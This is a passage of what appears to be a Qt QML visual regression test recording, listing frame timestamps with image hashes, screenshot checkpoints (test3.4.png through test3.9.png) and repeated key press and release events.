msec: 4512 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4528 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4544 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4560 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4576 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4592 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4608 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4624 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4640 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4656 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4672 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4688 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4704 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4720 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4736 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4752 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4768 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4784 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4800 - image: "test3.4.png" - } - Frame { - msec: 4816 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4832 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4848 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4864 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4880 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4896 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4912 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4928 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4944 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4960 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4976 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4992 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 5008 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 5024 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 5040 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 5056 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 5072 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 5088 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 5104 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5120 - hash: "f01088d95d8409f98ae19b7970ecf3ad" - } - Frame { - msec: 5136 - hash: "393987a9e22db77233465e3d08cfb244" - } - Frame { - msec: 5152 - hash: "40e58eac132aa3b5f66f244ab7b189be" - } - Frame { - msec: 5168 - hash: "d60c98c5fafe6bfa73a3d0c55f8f6716" - } - Frame { - msec: 5184 - hash: "775733a71bb1d39f51b9fbc7e28d9ffe" - } - Frame { - msec: 5200 - hash: "a343457f584c6e63aaec36b5db4fb7d0" - } - Frame { - msec: 5216 - hash: "7c416bd1be54135056b037642026251f" - } - Frame { - msec: 5232 - hash: "42813b6c3ef437a7b3ea8f03bb8b1894" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5248 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5264 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5280 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5296 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5312 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5328 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5344 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5360 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5376 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5392 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5408 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5424 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5440 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5456 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5472 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5488 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5504 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5520 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5536 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5552 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5568 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5584 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5600 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5616 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5632 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5648 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5664 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5680 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5696 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 5712 - hash: "cc0ab553f98262662e52191e0b370486" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5728 - hash: "b3af171ca40a5f081e2bfc984b8da551" - } - Frame { - msec: 5744 - hash: "aadbc8c960fbe2e8aac184a99ba818bd" - } - Frame { - msec: 5760 - image: "test3.5.png" - } - Frame { - msec: 5776 - hash: "99fc06589f09cd10cfdf748f032eacbd" - } - Frame { - msec: 5792 - hash: "f7915b1a8b9f7188263180a97c8b355f" - } - Frame { - msec: 5808 - hash: "7fb30728fb764b659bad5bb6c4e71e2c" - } - Frame { - msec: 5824 - hash: "4882459350feffaed89c2296c74b839d" - } - Frame { - msec: 5840 - hash: "917a368858e431bebcd8f2fda67401f8" - } - Frame { - msec: 5856 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5872 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 5888 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 5904 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 5920 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 5936 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 5952 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 5968 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 5984 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6000 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6016 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6032 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6048 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6064 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6080 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6096 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6112 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6128 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6144 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6160 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6176 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6192 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6208 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6224 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6240 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6256 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 6272 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 6288 - hash: "ada3c3558261701c705ecf79716df56a" - } - Frame { - msec: 6304 - hash: "81c73fd3dd69eb767d8899a54c3088bb" - } - Frame { - msec: 6320 - hash: "d54e7dd1e876666f64b5904240bf8764" - } - Frame { - msec: 6336 - hash: "32bdeac66a43a967d549ca2ad8c59bbd" - } - Frame { - msec: 6352 - hash: "04eec62cc40c8b31d989bead64909f9e" - } - Frame { - msec: 6368 - hash: "cfffdd4edc35303ee260ed32956238b7" - } - Frame { - msec: 6384 - hash: "fb562c38b9d2360517160f8a8ab29ced" - } - Frame { - msec: 6400 - hash: "ba8ec8f0663bf1e62ff426b0c7d0d3b2" - } - Frame { - msec: 6416 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 6432 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6448 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6464 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6480 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6496 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6512 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6528 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6544 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6560 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6576 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6592 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6608 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6624 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6640 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6656 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6672 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6688 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6704 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6720 - image: "test3.6.png" - } - Frame { - msec: 6736 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6752 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6768 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6784 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6800 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6816 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6832 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 6848 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 6864 - hash: "e6292a001405924f6d5f1a4051c3f6cb" - } - Frame { - msec: 6880 - hash: "0d8a6b740cc7b33659aa0a1cc2bd2aa9" - } - Frame { - msec: 6896 - hash: "07c4267ff499c46977420d4be7529e04" - } - Frame { - msec: 6912 - hash: "f69cd14d97de3ca8d21ace1df1d5a523" - } - Frame { - msec: 6928 - hash: "1572b31fd3ae917d5701d0b8f1d2a2bc" - } - Frame { - msec: 6944 - hash: "e3953027fe269a5d4c6581717d516c65" - } - Frame { - msec: 6960 - hash: "e35e8a5dfa7309696fa20c6f5480ac50" - } - Frame { - msec: 6976 - hash: "77e75e66118f911c8fff084e1a825d77" - } - Frame { - msec: 6992 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7008 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7024 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7040 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7056 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7072 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7088 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7104 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7120 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7136 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7152 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7168 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7184 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7200 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7216 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7232 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7248 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7264 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7280 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7296 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7312 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7328 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7344 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7360 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7376 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7392 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7408 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7424 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 7440 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7456 - hash: "8588c30394737cebc5580fe024589b08" - } - Frame { - msec: 7472 - hash: "ca150a32b22cad95696ecfbad0ed3e67" - } - Frame { - msec: 7488 - hash: "7f980e0cf67927918b1244456c38c7c0" - } - Frame { - msec: 7504 - hash: "2bc38fb34a6875aabddce0f460914612" - } - Frame { - msec: 7520 - hash: "328257a4691f341db39ee5ca677693eb" - } - Frame { - msec: 7536 - hash: "05e0d8c986ff81e23f253d56ebdef46e" - } - Frame { - msec: 7552 - hash: "be95d74a42318c52ab73ce694436a58b" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7568 - hash: "eba8512746494f3602d24dab86fb2559" - } - Frame { - msec: 7584 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7600 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7616 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7632 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7648 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7664 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7680 - image: "test3.7.png" - } - Frame { - msec: 7696 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7712 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7728 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7744 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7760 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7776 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7792 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7808 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7824 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7840 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7856 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7872 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7888 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7904 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7920 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7936 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7952 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 7968 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7984 - hash: "7b2b3a84e9649370ce282383a820c39b" - } - Frame { - msec: 8000 - hash: "08547adce7e02eec593fa636af004257" - } - Frame { - msec: 8016 - hash: "29789cfbd1b648ce705cf17d03298ffe" - } - Frame { - msec: 8032 - hash: "9e89ef84c86b1fc0531f0bd5ee530ba5" - } - Frame { - msec: 8048 - hash: "21b437a318c5ef87c38f9199772eafa6" - } - Frame { - msec: 8064 - hash: "70c8c8fbcf2d0331ca7ede8641a6068b" - } - Frame { - msec: 8080 - hash: "c277e9d4f89e99d974d03dcfe41a1755" - } - Frame { - msec: 8096 - hash: "54c7a72a3f814e707777c16ddd4532b8" - } - Frame { - msec: 8112 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 8128 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8144 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8160 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8176 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8192 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8208 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8224 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8240 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8256 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8272 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8288 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8304 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8320 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8336 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8352 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8368 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8384 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8400 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8416 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8432 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8448 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8464 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8480 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 8496 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 8512 - hash: "7992512c72fe530fdd92866c96de29a0" - } - Frame { - msec: 8528 - hash: "ad29d3653790efb998ac137538b4ce09" - } - Frame { - msec: 8544 - hash: "f6daf0ad7f7c970ece3dc1898ab9f092" - } - Frame { - msec: 8560 - hash: "417143caa8ed86082ea4e40aca7ca26e" - } - Frame { - msec: 8576 - hash: "5215943d1fbffd5ef7c16d4ca6587628" - } - Frame { - msec: 8592 - hash: "d143c87d3cf7560f911e98869983efef" - } - Frame { - msec: 8608 - hash: "1fcb9b3d3b4c888c65334b88e240d79c" - } - Frame { - msec: 8624 - hash: "61cec1c227eafafe6c03a33591b1825e" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 8640 - image: "test3.8.png" - } - Frame { - msec: 8656 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8672 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8688 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8704 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8720 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8736 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8752 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8768 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8784 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8800 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8816 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8832 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8848 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8864 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8880 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8896 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8912 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8928 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8944 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8960 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8976 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 8992 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 9008 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 9024 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 9040 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 9056 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 9072 - hash: "fcbb907bcf41602a5c30e2843a4b1fff" - } - Frame { - msec: 9088 - hash: "5fee95daaa629bbf0cec3e41cd693502" - } - Frame { - msec: 9104 - hash: "b9d721d2a8b0867bab29817b99b8ec2d" - } - Frame { - msec: 9120 - hash: "e518e9872a502d3b2ff74d209626c9ee" - } - Frame { - msec: 9136 - hash: "9c535d7da59ed2f2ce116e70c3e165cf" - } - Frame { - msec: 9152 - hash: "e54fbcb23e01d5842885b92d4493535b" - } - Frame { - msec: 9168 - hash: "7ac2467f24cef06c8842460ffe813ee0" - } - Frame { - msec: 9184 - hash: "276293e289db5c9c7cd9612c73ef7792" - } - Frame { - msec: 9200 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 9216 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9232 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9248 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9264 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9280 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9296 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9312 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9328 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9344 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9360 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9376 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9392 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9408 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9424 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9440 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9456 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9472 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9488 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9504 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9520 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9536 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9552 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9568 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9584 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9600 - image: "test3.9.png" - } - Frame { - msec: 9616 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9632 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9648 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9664 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9680 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9696 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9712 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9728 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9744 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9760 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9776 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9792 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9808 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9824 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9840 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9856 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9872 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9888 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9904 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9920 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9936 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9952 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9968 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 9984 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - 